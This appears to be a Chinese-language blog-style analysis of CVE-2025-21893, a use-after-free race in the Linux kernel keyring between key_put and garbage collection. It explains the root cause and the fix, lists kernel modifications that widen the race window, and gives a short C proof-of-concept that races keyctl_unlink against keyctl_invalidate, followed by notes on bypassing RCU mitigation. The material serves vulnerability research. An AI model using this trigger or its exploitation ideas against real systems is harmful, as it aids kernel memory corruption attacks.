CVE-2025-21893分析与复现
字数 1702 2025-08-30 06:50:12
Linux内核Keyring框架UAF漏洞(CVE-2025-21893)分析与复现
0x00 漏洞概述
CVE-2025-21893是Linux内核keyring框架中的一个use-after-free漏洞,存在于6.13.2版本内核中。该漏洞源于key_put函数与垃圾回收机制(gc)之间的条件竞争,当key引用计数减为0后,gc可能提前释放key对象,而key_put仍会继续操作已释放的内存。
0x01 前置知识
Keyring机制简介
Linux内核的keyring机制提供了一种安全存储和管理加密密钥、身份认证令牌、证书等敏感数据的方式。主要特点包括:
- 通过系统调用管理密钥:
add_key、keyctl、request_key - 密钥类型:user、logon等
- 默认keyring:
- 进程Keyring:与进程绑定
- 线程Keyring:与线程绑定
- 用户Session Keyring:与用户会话绑定
- User Keyring:用户专属
- Group Keyring:用户组共享
关键系统调用
add_key
向指定keyring添加新密钥:
int add_key(const char *type, const char *description,
const void *payload, size_t plen,
key_serial_t keyring);
keyctl
提供多种密钥管理功能:
long keyctl(int cmd, unsigned long arg2, unsigned long arg3,
unsigned long arg4, unsigned long arg5);
常用命令:
- KEYCTL_GET_KEYRING_ID
- KEYCTL_JOIN_SESSION_KEYRING
- KEYCTL_REVOKE
- KEYCTL_DESCRIBE
- KEYCTL_CLEAR
- KEYCTL_LINK
- KEYCTL_UNLINK
- KEYCTL_INVALIDATE
- KEYCTL_SEARCH
- KEYCTL_READ
- KEYCTL_INSTANTIATE
request_key
查找或请求密钥:
key_serial_t request_key(const char *type, const char *description,
const char *callout_info,
key_serial_t keyring);
Keyring垃圾回收(GC)
位于security/keys/gc.c,当执行以下操作时会触发GC:
- keyctl_invalidate
- key_put
GC通过schedule_work(&key_gc_work)调用key_garbage_collector进行释放操作。
0x02 漏洞分析
漏洞根源
漏洞出现在key_put函数中:
- 将
key->usage引用计数减1 - 如果引用计数减为0:
- 检查
KEY_FLAG_IN_QUOTA标志 - 执行相关操作
- 调用
schedule_work(&key_gc_work)触发GC
- 检查
问题在于:
- GC通过检查
key->usage == 0来判断是否释放key - 但
key_put在减引用后还会操作key对象 - 如果GC在
key_put操作key前释放了它,就会导致UAF
修复方式
修复commit将:
- GC的判断条件从
key->usage == 0改为检查key->flags - 在
key_put完成所有操作后才设置相关flags
关键调用链
-
keyctl_invalidate触发GC:keyctl_invalidate -> key_invalidate -> key_schedule_gc -> schedule_work(&key_gc_work) -
keyctl_unlink触发key_put:keyctl_unlink -> key_unlink -> __key_unlink_begin (创建edit) -> __key_unlink -> assoc_array_apply_edit -> call_rcu -> keyring_free_object -> key_put
0x03 漏洞复现
复现环境修改
由于漏洞触发条件极其苛刻,需要对内核进行3处修改以降低竞争难度:
- 修改
key_put函数:
__attribute__((optimize("O0")))
void key_put(struct key *key) {
// 原有减引用逻辑
for (int i = 0; i < 0x100000; i++); // 大循环延迟
// 后续操作
}
- 修改
key_garbage_collector函数:
__attribute__((optimize("O0")))
void key_garbage_collector(struct work_struct *work) {
for (int i = 0; i < 0x100; i++); // 小循环延迟
// 原有GC逻辑
}
- 在
key_ref_put前添加synchronize_rcu:
synchronize_rcu();
key_ref_put(key_ref);
POC代码框架
#include <stdio.h>
#include <stdlib.h>
#include <keyutils.h>
#include <pthread.h>
#include <unistd.h>
void *invalidate_thread(void *arg) {
key_serial_t key = (key_serial_t)arg;
keyctl_invalidate(key);
return NULL;
}
int main() {
// 创建keyring
key_serial_t ring = add_key("keyring", "testring", NULL, 0, KEY_SPEC_PROCESS_KEYRING);
// 添加key
key_serial_t key = add_key("user", "testkey", "payload", 7, ring);
pthread_t tid;
pthread_create(&tid, NULL, invalidate_thread, (void *)key);
// 从keyring中移除key
keyctl_unlink(key, ring);
pthread_join(tid, NULL);
return 0;
}
0x04 漏洞利用思路
-
利用条件竞争:
- 线程1:通过
keyctl_unlink触发key_put - 线程2:通过
keyctl_invalidate触发GC - 精确控制时机使GC在
key_put操作key前释放它
- 线程1:通过
-
绕过RCU保护:
- 原始漏洞被RCU机制部分缓解
- 可能的绕过方式:
- 在
call_rcu执行完key_put后再调用key_ref_put - 使用其他对key进行操作的函数
- 在
0x05 总结
该漏洞的核心问题在于:
- GC错误地将引用计数为0作为释放条件
- 在减引用后仍操作即将释放的指针
- 异步操作缺乏适当的同步机制
这种异步操作导致的条件竞争问题是一个值得深入研究的攻击面,可能在其他类似场景中也会出现。